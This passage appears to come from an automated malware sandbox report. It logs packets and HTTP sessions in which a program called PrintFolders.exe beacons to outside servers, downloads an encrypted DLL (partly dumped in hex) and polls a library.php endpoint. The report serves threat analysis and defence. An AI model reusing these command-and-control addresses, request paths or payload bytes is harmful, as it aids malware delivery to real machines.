                                                        Nov 24, 2022 19:18:06.499432087 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499469995 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.499484062 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.499526024 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.526846886 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.526902914 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.526940107 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.526941061 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.526968002 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.526976109 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.526988983 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527019024 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527041912 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527064085 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527086020 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527105093 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.527108908 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527132988 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.527134895 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.527280092 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.527280092 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.527352095 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.554533005 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554588079 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554625988 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554663897 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554701090 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554734945 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554760933 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554785967 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554811954 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554837942 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554864883 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.554944992 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.554944992 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.554944992 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.554944992 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.555005074 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582448006 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582535982 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582597017 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582654953 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582709074 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582756042 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582794905 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582837105 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582854033 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582854033 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582854033 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582906008 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582932949 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582937956 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.582993984 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.582994938 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.583048105 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.583051920 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.583102942 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.583106995 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.583158016 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.610425949 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610483885 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610513926 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610542059 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610570908 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610599041 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610626936 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610655069 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610682964 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610709906 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610737085 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610737085 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.610759020 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.610827923 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.610896111 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.638362885 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638428926 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638472080 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638524055 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638565063 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638606071 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638644934 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638685942 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:06.638806105 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.638806105 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.638807058 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:06.718194962 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:06.747112036 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:06.747570038 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:06.748177052 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:06.776040077 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:07.600012064 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:07.600199938 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:09.730413914 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:09.760652065 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:10.372955084 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:10.373271942 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:11.213674068 CET804970645.139.105.171192.168.2.5
                                                        Nov 24, 2022 19:18:11.213768005 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:11.583908081 CET8049707107.182.129.235192.168.2.5
                                                        Nov 24, 2022 19:18:11.584064960 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:12.665682077 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:12.695169926 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:13.368314981 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:13.368565083 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:15.786164045 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:15.815412045 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:16.549029112 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:16.549140930 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:18.605607033 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:18.634470940 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:19.240708113 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:19.240933895 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:21.340537071 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:21.370395899 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:21.991055965 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:21.991260052 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:24.089605093 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:24.118248940 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:24.775511026 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:24.775984049 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:26.886960030 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:26.919414043 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:27.572810888 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:27.575181007 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:29.653567076 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:29.681566954 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:30.310436964 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:30.310628891 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:32.854022026 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:32.884021997 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:33.532494068 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:33.532692909 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:36.435168982 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:36.463021040 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:37.093343019 CET8049708171.22.30.106192.168.2.5
                                                        Nov 24, 2022 19:18:37.096766949 CET4970880192.168.2.5171.22.30.106
                                                        Nov 24, 2022 19:18:40.475877047 CET4970680192.168.2.545.139.105.171
                                                        Nov 24, 2022 19:18:40.476006031 CET4970780192.168.2.5107.182.129.235
                                                        Nov 24, 2022 19:18:40.476138115 CET4970880192.168.2.5171.22.30.106
                                                        • 45.139.105.171
                                                        • 107.182.129.235
                                                        • 171.22.30.106
                                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                                        0192.168.2.54970645.139.105.17180C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        TimestampkBytes transferredDirectionData
                                                        Nov 24, 2022 19:18:06.176034927 CET0OUTGET /itsnotmalware/count.php?sub=NOSUB&stream=mixtwo&substream=mixinte HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 1
                                                        Host: 45.139.105.171
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:06.208683968 CET0INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:06 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0


                                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                                        1192.168.2.549707107.182.129.23580C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        TimestampkBytes transferredDirectionData
                                                        Nov 24, 2022 19:18:06.381181955 CET1OUTGET /storage/ping.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 0
                                                        Host: 107.182.129.235
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:06.408601999 CET1INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:06 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 17
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 55 77 55 6f 6f 6f 49 49 72 77 67 68 32 34 75 75 55
                                                        Data Ascii: UwUoooIIrwgh24uuU
                                                        Nov 24, 2022 19:18:06.442995071 CET2OUTGET /storage/extension.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 1
                                                        Host: 107.182.129.235
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:06.470576048 CET3INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:06 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Pragma: public
                                                        Expires: 0
                                                        Cache-Control: must-revalidate, post-check=0, pre-check=0
                                                        Cache-Control: private
                                                        Content-Disposition: attachment; filename="fuckingdllENCR.dll";
                                                        Content-Transfer-Encoding: binary
                                                        Content-Length: 94224
                                                        Keep-Alive: timeout=5, max=99
                                                        Connection: Keep-Alive
                                                        Content-Type: application/octet-stream
                                                        Data Raw: f9 f1 a9 b8 8b 6d 69 b2 02 e6 7d 3b a6 18 dc 46 22 cd 29 c1 54 8d 11 27 4b 3b 1b ff ec e2 4f bb 59 30 3a cd fb c8 c6 19 33 6a e8 b1 5c 17 49 6a ea 32 52 c5 89 50 17 fc 06 dd 43 07 19 e2 71 a9 7c d1 32 a8 0e fe be ec b3 69 52 32 57 f5 46 e8 b4 ab 43 3d 4d 55 b9 a4 16 cb 8b 9e 85 48 36 99 ea f5 41 e4 94 1a 97 d3 d7 40 7f fa 4f a6 63 1a 89 89 4d 87 78 38 ce 94 d2 e4 b0 4c ae e0 2d 20 c9 88 ab 62 96 84 7c 12 43 b2 c0 e7 8e a4 5a 7d a5 77 d7 94 2e d1 6c 1a 61 cd 61 54 b4 87 c2 a5 62 72 2c 19 c8 18 36 77 23 06 6a c2 50 d9 8c 6c 69 f4 88 3d fc b4 ca 1b 0e c0 6f ac 1e b2 92 93 cf ee 53 e9 7b ab eb 52 94 a4 e6 e4 2e 94 d9 d2 35 d5 a0 15 92 ec a7 23 3b 93 d0 94 82 04 2d fb d3 f1 e8 62 2b 19 e3 8b 47 28 90 3e cb 02 51 05 b9 e0 f5 a5 69 4e 7b 90 2b 79 0c 1d d0 5a 43 e7 ae 7a 33 73 45 cd f0 ae fa 54 0d d3 32 df 4a 10 84 ce 33 bf 39 55 d6 34 26 f6 b2 50 d4 e5 c7 c7 cb d7 b0 e1 89 22 77 49 fa a4 b9 cb e0 40 cb c3 b5 ae da 78 25 3e 90 be 44 0e d5 80 27 7a 09 5e fb 01 d3 d4 5e 28 bc 07 0d a4 87 4e 43 ca 5b 5b 6b d9 0a ba c8 f0 ff 95 eb ca 9c d2 56 5d 47 f1 d2 29 65 0f 7f b4 94 bf 60 c5 c5 d4 ea b1 07 18 ee 4b 2f 4c d0 55 6c 12 19 46 1f 15 22 8a ed 38 24 16 41 64 ef fa aa e4 3a 69 b5 67 a6 f4 30 81 64 db 0f d8 5b 2e a9 cf 54 22 6c 90 55 c0 4d 00 3d 17 30 b1 b0 ef 2c de d9 2c e7 99 83 6b 75 d4 57 2c c3 d1 f7 f9 f3 37 60 51 cf 46 69 3d 77 13 f9 e3 75 f1 dc 3a 8f 97 51 2d ca 52 a0 7d 30 1c c8 eb ac 4c ba ad 82 8f bd 6e c9 0a 1c 74 a4 6e 76 c0 1f eb 06 07 7a c3 c0 18 0c 65 9e e8 49 c0 43 00 01 b3 b6 d2 39 bf 56 8c 7e 31 2b 5b 5d 06 cb 9f 37 f5 04 af 78 51 1d e7 a4 f8 12 02 f6 b0 06 24 81 4c 00 1c 6f e9 65 51 c7 86 2f c8 62 c9 82 f8 5a 96 0c e4 de c1 e4 70 5d 96 3b 69 2a 29 d1 a6 bd 96 23 b9 62 ef 14 f0 25 31 95 ea 11 0d 8c db bf ec f8 40 a0 17 82 47 ff e1 5b 02 97 d9 b7 9b a6 85 0d 2f 00 63 ca 8e 5a 19 f7 ea 08 d1 81 f4 47 95 3a 0f a1 6e 90 a8 45 d3 69 08 4f af 9c 6f af 55 1e 42 c9 50 78 d3 de b2 de 0b 31 7b 2c 61 10 da cf f3 f6 23 6b cd ad 64 6a be ed 4c 34 cc 0f d2 7d da 64 3c 95 14 a4 a8 d5 d9 49 79 79 c4 a0 4a a7 fb 66 ee 57 c4 10 2c 5e 76 56 da 41 6f d4 4b d4 22 2b 4f 58 38 21 46 a7 02 f1 59 50 8b ea bd f5 75 b6 2d e6 ed 42 69 6b eb a5 5b e2 75 05 9b c1 26 57 74 bc 84 50 af f4 7f 6d cf 00 10 8e 5e 20 c8 9a c9 6b 7e e2 01 2e a3 90 6c fe d3 6f a6 7a 4d 56 1c 21 73 2e ed b6 68 80 f0 c3 7b 0f 6e 32 3b 7a d7 d9 cc 4b db 04 3f 53 c5 93 f4 2d 96 0d f9 65 57 e0 e0 ac cf 63 dc fa f2 1b e6 2d 56 dd 62 67 ff ff 39 da 49 c5 05 67 ba 78 fa 67 cb b7 ba ef 7d c3 27 e6 35 d2 c0 28 2a 50 b3 e8 b7 93 c8 4a 23 97 18 3a b5 49 53 b4 08 44 7d 8e 76 8a 97 c3 09 ea 9d 15 6a 4b 39 03 4c 51 46 aa 0f 00
                                                        Data Ascii: mi};F")T'K;OY0:3j\Ij2RPCq|2iR2WFC=MUH6A@OcMx8L- b|CZ}w.laaTbr,6w#jPli=oS{R.5#;-b+G(>QiN{+yZCz3sET2J39U4&P"wI@x%>D'z^^(NC[[kV]G)e`K/LUlF"8$Ad:ig0d[.T"lUM=0,,kuW,7`QFi=wu:Q-R}0LntnvzeIC9V~1+[]7xQ$LoeQ/bZp];i*)#b%1@G[/cZG:nEiOoUBPx1{,a#kdjL4}d<IyyJfW,^vVAoK"+OX8!FYPu-Bik[u&WtPm^ k~.lozMV!s.h{n2;zK?S-eWc-Vbg9Igxg}'5(*PJ#:ISD}vjK9LQF
                                                        Nov 24, 2022 19:18:06.470662117 CET5INData Raw: 6f 4f 68 56 80 cb c2 29 e2 a1 68 c5 76 5e 2d 04 d2 46 81 ff 08 3c 8f 84 16 ba bb 56 68 88 31 b9 c0 b3 d7 21 97 b1 05 21 8b c0 0f 42 59 63 04 9a 43 3f 8b f4 44 32 04 a3 b3 c2 c1 32 d5 4b 28 a2 a0 36 f6 19 9a 1b 42 d5 15 bd 92 44 90 aa 61 79 b9 b8
                                                        Data Ascii: oOhV)hv^-F<Vh1!!BYcC?D22K(6BDay=|'[1~YB:/A`=FKqTw-blBC:>e5.jNK=ZGj:V.:gP~tm~ "A1jNR[PX~LgT%
                                                        Nov 24, 2022 19:18:06.470729113 CET6INData Raw: 20 2f b2 fc fb 3b 22 62 e0 b2 2f c2 80 40 84 cb 02 1f 37 3d 0d 0c 1a 55 11 be 34 89 65 ce bc 3a 9c 5c 05 87 3d bb e8 1a 84 38 46 23 32 4d fc be ea 80 62 5b 19 72 10 35 1e b7 8a 98 4d a2 eb 87 6c 74 d4 1d e4 9d 35 68 f5 a9 e5 08 ea 2b 4d 6b 11 a1
                                                        Data Ascii: /;"b/@7=U4e:\=8F#2Mb[r5Mlt5h+Mk>eOk6wB!mMf@yHW0>GX|2";J=MgPAqTW/j*qO}([=|Dltn3)fF@}Mr
                                                        Nov 24, 2022 19:18:06.470799923 CET7INData Raw: a7 85 09 11 e8 87 fa 45 9c 6e e3 22 3a 8b 3a 37 cb 18 c6 c9 0c 95 19 a5 fd b0 6a 49 fe 1b fe ae 5a 87 a0 39 48 bd 07 52 c2 4c a3 6c d5 9e 43 04 16 b3 be ff 0d 7e 75 6b 76 df 83 39 76 49 20 81 05 f4 44 2b 77 e4 4d b2 06 16 49 eb 4f 6e 06 26 32 98
                                                        Data Ascii: En"::7jIZ9HRLlC~ukv9vI D+wMIOn&2wSCi-Mxyi=&{32cT[\wc70#q6F=hbB4P\U8BOpw0IZdET,.k]N{S!d*$;q,
                                                        Nov 24, 2022 19:18:06.470860958 CET9INData Raw: 4d 96 87 7f 63 be 6a e0 a7 12 2c 76 97 11 b2 61 1a 8c 52 86 70 00 11 79 15 ef 90 33 7a 8b 69 b8 d1 93 89 5d 20 a4 63 5d de 1c 51 fe 73 46 db 21 4d c9 ea f7 67 60 2f e1 a9 04 18 e8 c1 d7 b3 44 78 0e 75 21 3a 8b 07 a0 01 19 e6 77 51 13 23 87 dc 93
                                                        Data Ascii: Mcj,vaRpy3zi] c]QsF!Mg`/Dxu!:wQ#[Xs~w0)w(cU6@(R*#a0Sj!P[N^/c&;<5`V(Tys6gMn ?.Vz*]X6?hGynK;YVYK
                                                        Nov 24, 2022 19:18:06.470957994 CET10INData Raw: 21 b9 4c 3c 58 1f 3e b0 46 f6 ca 4f d4 3b 5d 88 04 a1 eb 28 78 da b0 51 20 02 9f d0 8e b2 b6 6e de 77 3f 8e 24 81 58 61 dc f1 2f 50 d4 78 14 e3 ed 48 fd 34 28 b3 3c 8d c4 b1 fb b3 81 1a a3 cc 05 30 f2 1b f9 e2 ee 54 f2 cb e6 99 0e 52 e0 62 83 e1
                                                        Data Ascii: !L<X>FO;](xQ nw?$Xa/PxH4(<0TRbY|/V)*s8igrzEm<G_+/G.t#|1;'Ui*9yQYXP^^8]7_Y(*Mt%k+p.(zg
                                                        Nov 24, 2022 19:18:06.471020937 CET12INData Raw: 68 3c a5 e0 8c 19 ff b7 b6 66 fd 50 d8 d9 59 25 6f 43 24 25 d2 09 74 d5 15 b3 3e 2c 54 69 50 e7 2e cc 3b db c1 ab f1 19 b7 ff f3 7e 50 4b 36 6e 85 9a 1e 0e d4 5d 9f a5 ae ce 78 88 33 b5 ca 41 3d a1 fd 67 c3 9e 53 a3 30 2c b4 41 90 66 8e 73 85 77
                                                        Data Ascii: h<fPY%oC$%t>,TiP.;~PK6n]x3A=gS0,Afswy\cCDw6m&g*}fom?ZIhA/-'1D8$$@S9&h0a7lLl 9W*yu0
                                                        Nov 24, 2022 19:18:06.471084118 CET13INData Raw: 24 ad 2e af 1c 5c fa b9 f9 cf 44 8d d0 e8 a4 24 09 87 fb a0 14 ac b1 57 7d 53 55 c3 8d 9b d7 93 44 32 17 30 78 13 2a 5a 0b e8 52 6e 89 17 ad ea 8f 4a 5f d2 cb 2f 97 d7 ed f3 95 a9 50 7f 49 f6 6f 84 95 c0 12 8d 28 dd a7 d0 4c 02 91 fe 7f 5a bd 70
                                                        Data Ascii: $.\D$W}SUD20x*ZRnJ_/PIo(LZp1+,j%MClj5NZ32Pu0'1b}V}JCC;H@mX`5Xgw[iag7X"G{K
                                                        Nov 24, 2022 19:18:06.471143961 CET14INData Raw: d9 c8 d5 72 52 2b 1f a9 ce 14 25 d2 bc be a1 c8 e3 db 90 60 1d e7 64 da 5b 9b 91 87 b9 96 91 4c f6 68 b8 24 66 6d 17 12 16 9b ce c1 4d ad 21 e8 ac e7 91 d6 2b 8a 70 d8 07 6d f6 7c 51 aa ae 5c 46 a3 5b a8 63 78 5a 2f b7 91 d6 fb a1 2d a8 64 d9 d7
                                                        Data Ascii: rR+%`d[Lh$fmM!+pm|Q\F[cxZ/-dIa_hYwOi@{c5$:u[x{'B4oXa\H_f$%^gZr~Q> F>!<}Nw^~a\"[T/B&
                                                        Nov 24, 2022 19:18:06.471203089 CET16INData Raw: 20 4c ba 5f 6e 12 80 56 cf 7a 46 07 bc 39 50 89 7d 09 31 b0 10 e3 35 18 30 d6 9b 45 e7 53 0e 8b 5a 89 04 ed 1f 63 58 26 ed 05 56 f6 04 b0 4b 49 41 ec 72 6f 33 13 31 cb 04 d8 ae a2 60 68 7a 07 c2 58 2d 03 77 38 4e e5 40 a5 1d e8 35 b1 0b 06 8e e7
                                                        Data Ascii: L_nVzF9P}150ESZcX&VKIAro31`hzX-w8N@5Yf8w}-^)Eja.] )jKNb$Etb6k@+P/zksThrw^NWchEZX(E\8J9alG/Cm-Q95Q@J1_lHl
                                                        Nov 24, 2022 19:18:06.498931885 CET17INData Raw: df 45 f8 57 13 1c bc db 95 00 23 48 83 a9 9d cc 72 58 44 3a 28 86 1f 1a ff f8 b0 74 76 a4 81 88 29 df fd 47 64 5f 13 3c 75 e5 f1 4c fe d9 14 bc 60 1b ac a3 1b 17 61 a9 b7 fa 7f c7 86 61 d6 5f f0 b1 f3 ff 55 3d 50 be ad 32 1d c1 19 a0 b5 56 32 5f
                                                        Data Ascii: EW#HrXD:(tv)Gd_<uL`aa_U=P2V2_bFM{!wahJs m<'Js{>vB;C+M]5r4:kRP:OjQUFLDQKp+CNZ!cQ:*V


                                                        Session IDSource IPSource PortDestination IPDestination PortProcess
                                                        2192.168.2.549708171.22.30.10680C:\Program Files (x86)\PrintFolders\PrintFolders.exe
                                                        TimestampkBytes transferredDirectionData
                                                        Nov 24, 2022 19:18:06.748177052 CET102OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:07.600012064 CET102INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:06 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=100
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:09.730413914 CET102OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
                                                        Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
                                                        Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
                                                        User-Agent: 2
                                                        Host: 171.22.30.106
                                                        Connection: Keep-Alive
                                                        Cache-Control: no-cache
                                                        Nov 24, 2022 19:18:10.372955084 CET103INHTTP/1.1 200 OK
                                                        Date: Thu, 24 Nov 2022 18:18:09 GMT
                                                        Server: Apache/2.4.41 (Ubuntu)
                                                        Content-Length: 1
                                                        Keep-Alive: timeout=5, max=99
                                                        Connection: Keep-Alive
                                                        Content-Type: text/html; charset=UTF-8
                                                        Data Raw: 30
                                                        Data Ascii: 0
                                                        Nov 24, 2022 19:18:12.665682077 CET103OUTGET /library.php HTTP/1.1
                                                        Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
                                                        Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
